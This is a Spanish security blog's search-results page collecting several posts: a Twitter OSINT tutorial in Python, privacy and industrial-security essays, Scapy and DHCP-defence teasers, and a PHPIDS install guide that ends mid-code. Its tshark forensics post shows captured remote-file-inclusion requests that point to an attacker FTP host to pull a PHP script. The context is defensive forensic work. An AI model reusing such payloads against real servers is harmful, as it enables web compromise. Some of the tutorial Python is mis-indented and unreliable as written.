Search Results for: IoT

Python para el Pentest. OSINT: Twitter (2): Manos a la obra, pájaros y APIs.

Si recuerdan, en la anterior entrada introdujimos los diferentes elementos que vamos a necesitar para desarrollar un pequeño PoC que nos permita explotar la información de Twitter. Una vez descritos los preliminares, ahora es cuando toca entrar en materia.

Lo primero que haremos será crear una aplicación nueva en Twitter, para ello podemos seguir cualquiera de los innumerables tutoriales que existen y hacernos con el consumer_token y el consumer_secret que serán algo así —estos son inventados, deberemos obtener los nuestros—:

consumer_token = K4a5Evw9bMnWhQDxb5tPBZPzjY
consumer_secret = j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNRQ
RffVWWmug0

Estas claves las necesitaremos para hacer la danza OAuth y permitir a nuestra aplicación usar nuestra cuenta, ya que para acceder a ciertas funcionalidades de la API tendremos que estar logueados.

Ahora, antes de nada, prepararemos la cabecera de nuestro script con su Shebang, la codificación del documento y los imports que necesitaremos para el proyecto.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from time import sleep
from sys import exit
import tweepy
from json import loads

Después de haber definido la cabecera podremos empezar con el código. Para autorizar nuestra aplicación en nuestra cuenta lo haremos de la siguiente forma:

########## CONFIG ##########
consumer_token = 'K4a5Evw9bMnWhQDxb5tPBZPzjY'
consumer_secret = 'j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNR
QRffVWWmug0'
access_token = ''
access_secret = ''
############################

def OAuth():
	''' Returns api object '''
	cToken = consumer_token
	cSecret = consumer_secret
	aToken = access_token
	aSecret = access_secret
	# Instanciamos el gestor de autorización
	auth = tweepy.OAuthHandler(cToken, cSecret)

	'''En el caso de que no tengamos los tokens de autorización de nuestra cuenta 
	solicitaremos la url que nos generará el pin.'''

		if aToken == '' or aSecret == '':
		try:
			redirect_url = auth.get_authorization_url()
			print('Ve a Twitter y autoriza la aplicación: {0}'.format(redirect_url))
		except tweepy.TweepError:
			print('Error al solicitar el token.')

		# Le pasamos el PIN a auth para que solicite los tokens
		verifier = raw_input('Verificador: ').strip()
		auth.get_access_token(verifier)

		'''Guardamos nuestros tokens y los imprimimos en pantalla para añadirlos a las 
		   variables de configuración. Así la próxima vez no tendremos que realizar 
                   este paso.'''

		aToken = auth.access_token.key
		aSecret = auth.access_token.secret
		log('Tu access_token: {0}'.format(aToken))
		log('Tu access_secret: {0}'.format(aSecret))

		# Setea auth token y secret
		auth.set_access_token(aToken, aSecret)

		# Devolvemos una tupla para usarla con la API REST y la API de Streaming
		return (tweepy.API(auth), auth)

Para obtener ahora acceso a los métodos de la API, lo único que tendremos que hacer es llamar a nuestra función y asignar la tupla a nuestras variables —para la API REST solo usaremos la variable api—:

api, auth = OAuth()

Ahora comprobamos que lo que hemos hecho funciona solicitando los trends globales mediante:

print(api.trends_place(1))

Si todo ha ido bien deberemos obtener un JSON que probablemente nos ofusque un poco la salida que esperábamos, así que, sabiendo que es un JSON, procedemos a tratarlo como si fuera un diccionario, y ya que estamos lo ordenamos y metemos en una función.

def getTrends(woeid=1):
''' Devuelve una lista de trends por localización, la localización es un WOEID de Yahoo, 
el ID para todo todo el mundo es 1.'''

'''Hacemos una llamada a la API y recuperamos directamente los elementos que nos interesan 
del diccionario.'''

	trends = api.trends_place(1)[0]['trends']
	
	# Extraemos el nombre de los trends y los devolvemos.
	trendList = [trend['name'] for trend in trends]
	return trendList

y la llamamos solicitando los trending topics de Valencia —el WOEID de Valencia es 776688—:

# Recuperamos los tt y los imprimimos uno por uno
trendingTopics = getTrends(woeid=776688)
for topic in trendingTopics:
print(topic)

Y de esta forma se harían las llamadas a la API, como dijimos al principio, RESTfull. Conforme se ahonda en las opciones de la API te das cuenta que está pensada para gestionar nuestra cuenta, obtener estados, información, recuperar elementos del pasado y casi todo lo que podamos imaginar, pero… para OSINT nos interesa obtener datos en tiempo real, ¿como lo podemos hacer? pues con la segunda forma de acceso, la API de Streaming.

Pero eso lo veremos en la próxima entrada de la serie. Dejadnos en los comentarios cualquier duda o aspecto que os resulte interesante destacar.

Próximamente en sus redes sociales

Leyendo noticias sobre actualidad TIC he encontrado tres artículos que me han llamado la atención y me han hecho pensar sobre el futuro próximo de nuestras redes sociales (y casi de nuestra vida, por extensión). Vamos a comentarlos brevemente.

Todos los que utilizamos las redes sociales de manera habitual, por no decir cada día, somos conscientes de que estamos compartiendo y publicando parte de nuestra información privada. Cada cual puede elegir la cantidad y el tipo de información que publica y hasta cierto punto, quién tiene acceso (a priori) a ésta. Sin embargo, debemos recordar que además de la gente con la que nosotros decidimos compartir nuestra información, también están los sistemas y algoritmos de la propia red social. Que incorporan más inteligencia, asociación de datos y correlación de información de la que podamos pensar e imaginar. Más, mucha más.

En nuestro primer artículo, parece ser que uno de los proyectos en los que está trabajando Facebook para que lo utilicemos como parte de nuestro perfil es un sistema de pago entre particulares que utilicen la red social. Para eso, será necesario asociar nuestra información bancaria (una tarjeta de débito, por ejemplo) a nuestro perfil. Y aquí, la pregunta es: ¿es este servicio necesario o útil? Si quiero prestarle dinero a un amigo o conocido mío, existen muchos métodos alternativos para hacerle llegar dinero sin tener que utilizar mi perfil de Facebook.

Sin necesidad de complicarnos la vida, ahora imaginemos la siguiente situación: una persona que ha decidido utilizar este sistema de pago de Facebook, inicia sesión en un ordenador de uso compartido, como puede ser un cibercafé, una biblioteca o un hotel. Por despiste o desconocimiento, no cierra sesión cuando deja libre el ordenador. ¿Cuáles serían las posibles consecuencias de esta acción? La siguiente persona que use este equipo, no sólo podrá tener acceso a toda su información personal sino que también podrá hacer uso de su dinero a través de esta aplicación. En este posible escenario, se me ocurren una cuantas “bromas pesadas” que podríamos hacerle al usuario despistado.

El siguiente artículo habla sobre la creación de una aplicación por parte de Facebook que nos permitirá recibir asistencia sanitaria o consultar comunidades sobre nuestros problemas de salud (tranquilos, no es el momento de entrar en temas de la LOPD, sobre los que habría mucho que decir). Aunque en un principio todo apunta a que esta aplicación no estará integrada dentro de la red social, al final estamos cediendo nuestros datos a la misma empresa (que por supuestísimo, disociarán los datos de nuestro perfil de nuestros datos de salud de modo que nadie, nunca, de ningún modo, pueda relacionar esa información… ¿nos siguen?). En los últimos tiempos, este tipo de aplicaciones (que no decimos que no tengan una cierta utilidad, bien controladas y en el ámbito correcto) se están popularizando y existen ya productos relacionados con nuestra salud y mejorar nuestros hábitos. La cuestión es: ¿queremos publicar nuestros problemas de salud? ¿Estamos seguros de querer que una red social (una empresa), tenga conocimiento sobre nuestras dolencias o preocupaciones? De nuevo, ¿es necesario?

Por último, otro artículo nos cuenta que a través de un estudio independiente se ha concluido que las personas que publican más en Facebook (y extrapolando, podemos asumir que en cualquier red social en general), son más inestables que las que no lo hacen con tanta frecuencia. Antes de que corran a examinar su Facebook/Twitter/Instagram/Google+/etc. a mirarse el ombligo, no se crean todo lo que lean. También es relevante recordar que hace unos meses se desveló que Facebook llevó a cabo un experimento psicológico con algo más de medio millón de usuarios. Como vemos, nuestra actividad en las redes sociales dice mucho de nosotros (y si piensan que muchos estamos continuamente registrados en Google mientras navegamos, quizá quieran cancelar sus cuentas digitales y emigrar al monte a comer musgo).

A estas alturas, a algunos quizá les parezca de perogrullo, pero nunca viene mal recordar que nuestra información privada es valiosa para las empresas. Que la utilizan, la gestionan, la explotan, la cruzan, la refinan, la analizan, la intercambian y llegado el caso y para el bien de nuestros servicios, la ceden a otras compañías (del grupo, claro). Y si tenemos suerte, la filtran, la pierden y acaba en 4Chan. Todo ello, para realizar estudios de mercado sobre tendencias, para personalizar la publicidad que aparece en nuestro navegador, para acceder a nuestros contactos y cualquier otra cosa que se les ocurra. Cuanto más privada y sensible sea la información que les proporcionamos, más valor tiene para ellos.

Lo más o menos sorprendente de todo es que, aunque ahora nos pueda parecer una barbaridad y nos rasguemos las vestiduras, al final de la película ya verán como acabamos introduciendo nuestros datos de salud en Facebook, nuestros datos financieros en Facebook Messenger y si se da el caso, seremos los primeros en apuntarnos a experimentos o estudios sobre nuestro comportamiento digital. No se apresuren demasiado a tacharse de esa suposición.

Si recapitulamos y hacemos una puesta en común de estos tres artículos, podemos concluir que en un futuro próximo sólo con la información que las redes sociales tendrán sobre nosotros, sabrán nuestros movimientos financieros, nuestros problemas de salud y sin duda alguna nos podrán psicoanalizar. Porque sabrán qué medicación tomamos, qué webs visitamos, qué intereses tenemos, con qué frecuencia y desde dónde publicamos, qué relaciones tenemos y con qué frecuencia nos comunicamos, qué tipo de trabajo tenemos y el dinero que nos permitimos gastarnos al mes. Dejen volar su imaginación. Nos conocerán mejor que nuestras respectivas parejas y también mejor que nosotros mismos. ¿Queremos tener ese nivel de intimidad con un montón de algoritmos que no conocemos en persona?

Aunque bien visto, todo esto que les hemos contado, ¿no es ya una realidad? Es más, probablemente sea peor de lo que piensan. Bienvenidos a Internet.

(N.d.E. Artículo elaborado en colaboración con Manuel Benet).

Registro forense de red con tshark

En ocasiones puede ocurrir que, según la topología de la red y la estructura de la organización en la que nos encontremos, no tengamos acceso al registro de los servidores web de una manera fácil y rápida pero sí podamos capturar el tráfico de red que va dirigido a ellos. Esto puede dificultar una rápida actuación ante un incidente de seguridad donde la respuesta debe ser lo más ágil posible con el objeto de minimizar el daño que se haya podido producir.

Si nos encontráramos en una situación así vamos a ver cómo podemos hacer uso de tshark para capturar el tráfico y dejar un registro de red para tareas forenses en caso de incidente. De esta manera podremos identificar los ataques ocurridos, con el añadido de poder analizar tanto la respuesta del servidor a dicho ataque como el posterior tráfico y así descubrir indicios de si el servidor ha sido comprometido.

Para capturar el tráfico de la forma más eficiente posible para este propósito tenemos dos opciones. La primera se conoce como Autostop. Consiste en capturar el tráfico y guardarlo en un fichero hasta que se produzca alguna de las situaciones definidas, a saber, cuando se captura un determinado volumen de tráfico o durante un tiempo. Una vez finalizado, la captura se detiene.

Para realizar este tipo de captura, se utilizaría la opción ‘-a‘, que acepta los parámetros duration, filesize y files. Un ejemplo podría ser como el siguiente:

$ tshark -nni eth0 -a filesize:200000 -a files:10 -w securityartwork.pcap

El comando anterior capturará el tráfico y lo guardará en ficheros de 200.000 kilobytes cada uno y cuando llegue a 10 se detendrá. Los ficheros tendrán el prefijo securityartwork con el número de fichero y un timestamp.

$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 28 17:15 securityartwork_00001_20130428152638.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 18:30 securityartwork_00002_20130428171511.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 19:23 securityartwork_00003_20130428183043.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 20:47 securityartwork_00004_20130428192349.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 22:01 securityartwork_00005_20130428204747.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 23:03 securityartwork_00006_20130428220140.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 00:30 securityartwork_00007_20130428230336.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:57 securityartwork_00008_20130429003026.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:43 securityartwork_00009_20130429025734.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:54 securityartwork_00010_20130429054313.pcap

La otra opción consiste en crear un buffer circular con las características que definamos. Una vez se cumplan las condiciones, se borra el fichero más antiguo creando así ese buffer circular. La opción a utilizar es ‘-b‘ y los parámetros son los mismos que con Autostop. Un ejemplo muy utilizado es el siguiente:

$ nohup tshark -nni eth0 -b filesize:200000 -b files:10 -w saw_buffer.pcap &
$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 29 01:47 saw_buffer_08554_20130429005947.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:39 saw_buffer_08555_20130429014710.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 03:21 saw_buffer_08556_20130429023931.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 04:16 saw_buffer_08557_20130429032138.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:27 saw_buffer_08558_20130429041611.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 06:42 saw_buffer_08559_20130429052745.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:21 saw_buffer_08560_20130429064246.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:48 saw_buffer_08561_20130429072111.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 08:15 saw_buffer_08562_20130429074818.pcap
-rw------- 1 nbelda nbelda  37M Apr 29 08:17 saw_buffer_08563_20130429081535.pcap

Con esto tendremos un buffer de 2GB (aproximadamente) con el que tendremos una captura del tráfico para analizar en caso de detectar un incidente en alguno de nuestros servidores. El tamaño y número de los ficheros dependrá del tráfico de red, del espacio del que dispongamos en el disco duro y de la ventana temporal que queramos almacenar.

Para aclarar los últimos comandos, nohup y el ampersand (&) los utilizamos para dejarlo funcionando en background y no se detenga al cerrar sesión en el servidor; ya que la idea es dejarlo siempre en funcionamiento y analizarlo en caso de incidente.

Por último nos queda la visualización del tráfico. Tenemos una captura de tráfico con un tamaño importante, así que utilizar Wireshark queda descartado (si no, probar a abrir un archivo de 200MB) y necesitamos mostrar información útil. En esta ocasión vamos a ver cómo crear un archivo similar al log de Apache.

Explicaré un poco cómo se crea este fichero a partir del buffer creado. Primero creamos un bucle para leer cada uno de los ficheros, luego utilizamos los filtros de tshark para crear la salida. NOTA: la opción -T fields se utiliza para indicar qué campos queremos mostrar, indicándolos a continuación, en modo texto. Para más información, visitad el blog de Alfon Seguridad y Redes.

$ for file in $(ls -1 saw_buffer*.pcap) ; do tshark -nnr $file -T fields -e frame.time 
   -e ip.src -e ip.geoip.src_country -e http.request.method -e http.request.uri >> 
   saw_apache.log ; done

En caso de haber más de un servidor detrás podemos utilizar http.request.full_uri para identificar más fácilmente las peticiones a cada servidor.

$ tail saw_apache.log
Apr 26, 2013 07:02:09.921552000	187.79.225.59	Brazil
  GET /web/index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:09.930596000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.057270000	187.79.225.59	Brazil	
  GET /index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.062135000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.069157000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.074002000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:11.128034000	187.79.225.59	Brazil	
  GET /biblioteca/index.php?lvl=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:11.134320000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:13.773525000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:13.785738000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:14.071371000	187.79.225.59	Brazil	
  GET /index.php?module=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:14.076231000	193.XXX.XXX.XXX	Spain

Personalmente, suelo utilizar la herramienta Highlighter de Mandiant, para analizar este tipo de ficheros en busca de peticiones maliciosas y demás comportamiento anómalo. Su uso es sencillo, aunque lo dejamos para otro posible post.

SCI versus SIC: Sistemas de Control Industrial frente a Sistemas de Información Coorporativa

La conexión masiva de los últimos años de todo tipo de equipamiento a Internet ha configurado un nuevo mundo digital donde la información, los individuos y las máquinas se comunican entre sí a todos los niveles.

Empezamos esta revolución del ciberespacio con la incorporación masiva de la información, seguimos incorporándonos nosotros, con el fenómeno de las redes sociales, y, en paralelo, estamos incorporando paulatinamente a las máquinas. Poco más nos queda. Estamos todos. Empieza el espectáculo.

A principios de 2012 CISCO estimaba que en el mundo existían 14.000 millones de dispositivos conectados a Internet sobre una población del orden de 7.000 millones de personas y un total de direcciones IP en torno a 4.300 millones. La misma compañía estimaba, según el ritmo de crecimiento previsto, que en 2020 esa cifra llegaría a 50.000 millones. Evidentemente hablamos de todo tipo de dispositivos smartphones, laptops, PLCs, ordenadores, sistemas de control y un largo etcétera.

Ya tenemos aquí esa cibersociedad montada sobre el ciberespacio bautizado por William Gibson en su novela Johnny Mnemonic (1981) y popularizado en su novela de ciencia ficción Neuromante(1984), con miles de millones de “individuos digitales” comunicándose entre sí. Lógicamente necesitamos trabajar para que esa cibersociedad sea cibersegura. Ahora bien, para avanzar en la seguridad de la cibersociedad debemos analizar con detalle la seguridad de las partes que lo componen.

El sector de la seguridad conoce bien los Sistemas de Información Corporativa y trabaja en su seguridad desde hace bastante tiempo. Los Sistemas de Control Industrial son otra cosa. Nuevos sistemas y nuevos escenarios que requieren nuevas soluciones. Es necesario caracterizar el nuevo escenario para diseñar las soluciones que requiere. Una buena forma de hacerlo es compararlo con lo que ya conocemos.

Por este motivo quería centrarme en este post en analizar algunas de las diferencias fundamentales entre dos grandes sistemas con los que tradicionalmente hemos convivido. Uno de ellos es un gran conocido para todos nosotros: Los Sistemas de Información Corporativa (SIC). Quien más y quien menos, directa o indirectamente, se habrá topado con uno de ellos cara a cara. Ya sea en su propio trabajo, en la oficina del banco o con la banca online, en el supermercado cuando la cajera hace la cuenta de lo comprado o en la compañía telefónica cuando se consulta el tiempo de permanencia que nos queda antes de que podamos cambiar de compañía sin coste para nuestro bolsillo. Detrás de todas estas operaciones hay sistemas de información de las compañías en las que trabajamos o nos dan servicio. Tal vez no sea tan evidente la existencia del otro gran tipo de sistemas: Los Sistemas de Control Industrial (SCI) que, aunque muchos de nosotros no nos topemos cara a cara diariamente con ellos, si sentimos su presencia. Hablamos de los sistemas que controlan las líneas de producción, los sistemas que controlan el suministro de bienes esenciales como la luz, el agua o el gas, los sistemas que gestionan la seguridad de locales de pública concurrencia y un largo etcétera.

Ambos llevan mucho tiempo con nosotros. Incluso los Sistemas de Control Industrial, aunque no lo parezca, llevan mucho más tiempo con nosotros que los Sistemas de Información Corporativa. Tal vez no tan sofisticados, y desde luego no tan “conectados”, pero sin duda más antiguos. A pesar de ser más “jóvenes”, los Sistemas de Información Corporativa se incorporaron mucho antes al ciberespacio y, por tanto, llevan ya un largo camino recorrido en lo que tiene que ver con la ciberseguridad.

Aunque son sistemas totalmente diferentes, no solo por su función sino también por su diseño y concepción, hoy por hoy comparten ya en muchos casos las tecnologías y los medios por los que se comunican. En gran medida ambos tipos de sistemas forman parte de la cibersociedad que comentábamos antes, son piezas de lo que llamamos el “Internet de las cosas” (IoT) y están todos en el ciberespacio.

Una de las principales diferencias entre ambos tipos de sistemas es el tipo de profesionales que los gestiona. Por su propia naturaleza, los Sistemas de Información Corporativa están gestionados tradicionalmente por Ingenieros Informáticos e Ingenieros de Telecomunicaciones, mientras que los Sistemas de Control Industrial han estado gestionados por Ingenieros Industriales, de Caminos, Aeronáuticos, Agrónomos, Químicos, etc… Ambos perfiles tienen grandes diferencias en todas sus facetas profesionales. Los primeros nacidos en la era de las TIC. Los segundos formados teniendo a las TIC como un medio y no como un fin y prestándole, años atrás, poca atención a lo que las TIC implicaban para los sistemas que gestionaban. Lenguajes diferentes para describir una misma realidad. Esta diferencia supone, sin duda alguna, un obstáculo a la hora de abordar el problema de la incorporación segura de los Sistemas de Control Industrial al ciberespacio.

Otra gran diferencia la encontramos en el significado del concepto de “tiempo real” en los dos mundos. Me gusta mucho la diferenciación que en algunos textos se hace del “right time” para los Sistemas de Información Corporativa frente al “real time” para los Sistemas de Control Industrial. Creo que este juego de palabras identifica muy bien las necesidades, en este sentido, de cada tipo de sistema.

Es también importante, a la hora de establecer las peculiaridades de cada sistema, contemplar la imposibilidad de apagar y encender un equipo como medida preventiva o correctiva en un Sistema de Control Industrial y, por tanto, la necesidad imperiosa de mantener la disponibilidad de este tipo de sistemas, frente a la necesidad de vigilar la confidencialidad e integridad de la información en los Sistemas de Información Corporativa. Por este motivo en los Sistemas de Información Corporativa se diseña la estrategia de la seguridad para la defensa de la información, mientras que en los Sistemas de Control Industrial se diseña una estrategia de defensa donde el TOP (Target of Protection) es, en este caso, el equipo en sí mismo.

En los Sistemas de Control Industrial la tolerancia a fallos es un parámetro vital de diseño. En los Sistemas de Información Corporativa, en general, se valora, pero puede no ser imprescindible en muchos casos y, desde luego, no siempre es un parámetro de diseño. Otro aspecto en el que se marcan distancias.

En la informática corporativa estamos acostumbrados a que la actualización de las aplicaciones a través de la distribución de parches sea frecuente y, en términos generales, sencilla. En la informática industrial las actualizaciones son complejas y requieren períodos de estudio y planes de contingencia y marcha atrás en el caso de que sea necesaria su aplicación. Esto, en sí mismo, al conectarse los equipos a Internet es un problema que se agrava si pensamos en el hecho que si bien el equipamiento que da servicio a los Sistemas de Información Corporativa se diseña con vidas útiles entre los 3 y los 5 años, el equipamiento que da servicio a los Sistemas de Control Industrial se diseñan para una vida útil entre 15 y 20 años, lo que hace más necesaria, si cabe, su actualización.

Para terminar, creo que es importante analizar el hecho de que hasta hace algunos años los Sistemas de Control Industrial estaban completamente aislados del mundo y no solo porque no estuviesen conectados al ciberespacio sino también porque utilizaban protocolos propietarios. Esta es otra gran diferencia en su origen y concepción. Los Sistemas de Información Corporativos manejan protocolos estándares desde hace mucho tiempo para lo bueno y para lo malo. Los Sistemas de Control Industrial se encuentran actualmente en un punto intermedio. Existen protocolos estándares conviviendo con soluciones propietarias pero conectadas cada vez más al ciberespacio. A este respecto he de decir que la seguridad por oscuridad no es una buena estrategia y que lo que debemos conseguir como sociedad es manejar estándares seguros, no desconocidos.

Aunque las diferencias entre ambos tipos de sistemas son muchas más, hemos contemplado las que en mi opinión resultan más relevantes. El análisis pausado de estas diferencias entre ambos tipos de sistemas nos ha llevado, de hecho, a contemplar la necesidad de crear un Centro de Seguridad con características específicas para abordar la Ciberseguridad de los Sistemas de Control Industrial: el iSOC (Industrial Security Operation Center), manteniendo el tradicional SOC (Security Operation Center) como Centro de Operaciones de Seguridad para Sistemas de Información Corporativa y contemplando, en cada caso, las características principales de los sistemas a los que se orienta.

Auditando la pila TCP con Scapy

Recientemente he tenido que jugar con la biblioteca Scapy para Python. Ésta permite crear cualquier tipo de paquete de red con un par de simples comandos, incluso para protocolos no existentes mediante paquetes RAW.

En este caso pondré de ejemplo la necesidad de tener que enviar paquetes TCP a un puerto determinando usando cualquier combinación de flags TCP, con el objetivo de evaluar el comportamiento de la pila TCP al recibir cualquier combinación de flags.

Hay que tener en cuenta que no estamos hablando de permutaciones, puesto que es lo mismo enviar un paquete con el flags Syn y Ack que enviar un paquete con los flags Ack y Syn. Sí, seguramente habrán recordado la frase “el orden de los factores no altera el producto“. Por tanto es necesario generar cualquier combinación teniendo en cuenta que el orden no afecta y que no se desea enviar más paquetes de los estrictamente necesarios.

[Read more…]

Seguridad alimentaria: de la granja a la mesa

El pasado viernes tuvo lugar la 1ª jornada de Calidad y Seguridad Alimentaria en la ETS de Ingeniería Agronómica y del Medio Natural (UPV). El objetivo de la jornada era dar a conocer el marco regulatorio en materia de seguridad alimentaria, analizar los principales peligros que afectan al sector industrial y presentar las estrategias de algunas empresas del sector para garantizar la seguridad y calidad de los productos.

En la presente entrada haré un breve resumen sobre el contenido de cada bloque tratado en la jornada y comentaré aquellos aspectos que me resultaron más interesantes.

Bloque 1: La seguridad en la cadena alimentaria

La jornada se inició con una breve introducción sobre la cadena alimentaria y los actores que en ésta intervienen. Además, se presentó la idea de “From Farm To Fork” (de la granja a la mesa) que estuvo presente en la mayor parte de las ponencias. Como era de esperar, esta filosofía para asegurar la calidad destaca la importancia de tratar la seguridad alimentaria a lo largo de toda la cadena y no únicamente en sus etapas finales antes de llegar al consumidor. Aunque lo expuesto en relación al sector primario y a la Administración resultó enriquecedor, desde mi punto de vista este primer bloque quedó “cojo” al no tratar uno de los actores principales de la cadena: el sector logístico.

[Read more…]

Defensas frente a ataques DHCP

A raíz del post de @chemaalonso sobre la herramienta DHCP Ack Inyector, recordé mis años en la universidad (allá por el 2005) donde ibas a la biblioteca, conectabas tu portátil y simplemente escuchando tráfico veías multitud de protocolos vulnerables o incorrectamente configurados como STP, HSRP, DTP, etc.

No solo eso, sino que no había ningún tipo de control sobre el tipo de datos que los usuarios podían enviar, por lo que, utilizando herramientas como Gobbler, dsniff, ettercap, yersinia, etc., podías llevar todo tipo de ataques man-in-the-middle. Lo curioso de todo era que la mayoría de los dispositivos de networking utilizados para gestionar todo el tráfico eran Cisco. Es decir, dispositivos más que suficientes para poder controlar y mitigar prácticamente la mayoría de esos ataques. Simplemente estaban configurados para cumplir con funciones básicas de red: enrutar tráfico, administrar VLANS, ACL, QoS, etc., pero o bien por desconocimiento o por descuido, no se les estaba sacado el provecho que realmente justificaría su adquisición.

Con el paso del tiempo me he dado cuenta de que este tipo de situación es bastante frecuente: es realmente difícil encontrar una empresa que tenga en cuenta políticas de configuración estrictas para asegurar un entorno local. Personalmente pienso que muchas organizaciones no son conscientes del daño que podría hacer un empleado descontento en un entorno local “poco controlado”. Sin llegar a utilizar herramientas sofisticadas como Loki o Yersinia, es posible desde tirar toda una red con apenas un par de paquetes y con ayuda de Scapy, hasta hacer MitM usando ARP / DHCP / VRRP / HSRP o hasta cosas mas entretenidas como conseguir un pool de shells sin mucho esfuerzo con el browser_autopwn de Metasploit y etterfilters.

[Read more…]

A por Andrómeda

“Lo que fue, eso mismo será. Y lo que se hizo, eso mismo se hará. Y no hay nada nuevo bajo el sol.” Eclesiastés, 1:9.

La posibilidad de que ataques cibernéticos afecten al normal funcionamiento de infraestructuras claves para el sostenimiento de las sociedades modernas es una causa creciente de preocupación entre todos los agentes implicados. Prueba de ello son los recientes desarrollos normativos que están teniendo lugar y que en nuestro país se sustancian en la Ley de Protección de Infraestructuras Críticas y el Reglamento que la desarrolla.

Una de las características del temor que produce esta amenaza proviene del hecho de que no sigue una de las reglas establecidas de los enfrentamientos a que la sociedad está acostumbrada: identificar al enemigo. En efecto, hasta este momento los ataques contra una sociedad se producían en el contexto de una guerra o un ataque terrorista. El enemigo, por tanto, era conocido (incluso en el caso de ataques terroristas, ya que estas acciones buscan que la parte atacada sepa quién infringe el daño). Ahora, sin embargo, se toma conciencia de que elementos claves de una sociedad pueden ser atacados inadvertidamente y por un enemigo sin rostro, del cual, además, se desconocen sus motivaciones y por tanto no podemos prever su forma de actuar. Incluso se nos puede atacar de forma remota sin necesidad de encontrase físicamente entre nosotros.

Sin embargo, por muy novedoso que nos pueda resultar esto, en una fecha tan temprana como 1961, mucho antes de los ordenadores personales y las redes de comunicación, ya se previó que una eventualidad como ésta se podría producir. Hablamos de A por Andrómeda, una serie de televisión de la BBC que posteriormente se trasladó a novela, escrita por Fred Hoyle (físico especialista en cosmología) y John Elliot (productor de televisión).

[Read more…]

PHPIDS securiza tu web

En uno de los últimos portales web que he tenido que desarrollar una de las principales premisas era que tenía que ser muy seguro. El nuevo portal tenía que suplir a una versión hecha en html puro, sin código en el servidor. ¿Para qué cambiar si la versión anterior ya era segura? Tampoco entraré en más detalles pero, ¿os acordáis de esas “bonitas” webs con montones de gifs animados y colores espartanos? Esas páginas eran bonitas al lado de esta. Al grano. Para el desarrollo del nuevo portal se estuvieron haciendo pruebas con varios CMS (Gestores de contenidos) en PHP. ¿Por qué en PHP? Pues porque los recursos del servidor eran limitados, y porque me gusta. Al final nos decantamos por Drupal, ya que ofrecía a priori una robustez y seguridad que otros no. ¡Ah!, y porque me gusta.

Una vez tenía el portal ya bastante terminado, me puse a indagar como podía añadirle más seguridad. Al final, en todos los gestores terminas instalando una infinidad de “plugins” (módulos) hechos por terceros que, aunque sea una comunidad muy rápida en resolver los problemas de seguridad, siempre existe cierto riesgo. Fue entonces cuando di con un módulo de Drupal llamado PHPIDS. El módulo actúa de “envoltorio” del programa PHPIDS.

Encontré también un enlace a howforge dónde se documenta la instalación de éste. Voy a resumir dicha instalación, ya que las bondades de este programa están bien resumidas en este post de Security By Default, y luego voy os explicaré como lo hice en Drupal.

Instalación Básica de PHPIDS

Esta instalación sirve para cualquier aplicación PHP, incluyendo todos sus CMS (Drupal, Joomla, WordPress, Moodle etc…). El ejemplo está realizado en una máquina Debian Squeeze.

1) Descargamos el programa de la web. En estos momentos en su versión 0.7. y descomprimimos el paquete.

$ wget http://phpids.org/files/phpids-0.7.tar.gz
$ tar zxvf phpids-0.7.tar.gz

2) Creamos un directorio en la ruta dónde vayamos a ubicar la web y copiamos la el subdirectorio ‘lib’.

$ mkdir /var/www/phpids
$ mv lib/ /var/www/phpids/

3) En el directorio de la aplicación IDS, creamos ‘tmp’ y le damos permisos de escritura (en este caso hacemos propietario del directorio) al usuario del servidor web (en apache a www-data).

$ mkdir  /var/www/phpids/lib/IDS/tmp
$ chown -R www-data:www-data /var/www/phpids/lib/IDS/tmp

4) Copiamos el archivo IDS/Config/Config.ini.php en Config.ini y modificamos las rutas por defecto.

; PHPIDS Config.ini
...
[General]
 filter_type     = xml
 filter_path     = /var/www/phpids/lib/IDS/default_filter.xml
 tmp_path        = /var/www/phpids/lib/IDS/tmp
 scan_keys       = false
...
[Logging]
 ; file logging
 path            = /var/www/phpids/lib/IDS/tmp/phpids_log.txt
...
[Caching]

 ; caching:      session|file|database|memcached|none
 caching         = file
 expiration_time = 600

 ; file cache
 path            = /var/www/phpids/lib/IDS/tmp/default_filter.cache
...
 ; memcached
 ;host           = localhost
 ;port           = 11211
 ;key_prefix     = PHPIDS
 ;tmp_path       = /var/www/phpids/lib/IDS/tmp/memcache.timestamp

Como prueba de concepto, creamos un pequeño script php que nos muestra un mensaje de OK, si la petición es correcta, o nos muestra una traza del error en caso de un intento de ataque.

<?php
set_include_path(
get_include_path().PATH_SEPARATOR.'/var/www/phpids/lib');
require_once 'IDS/Init.php';
$request = array(
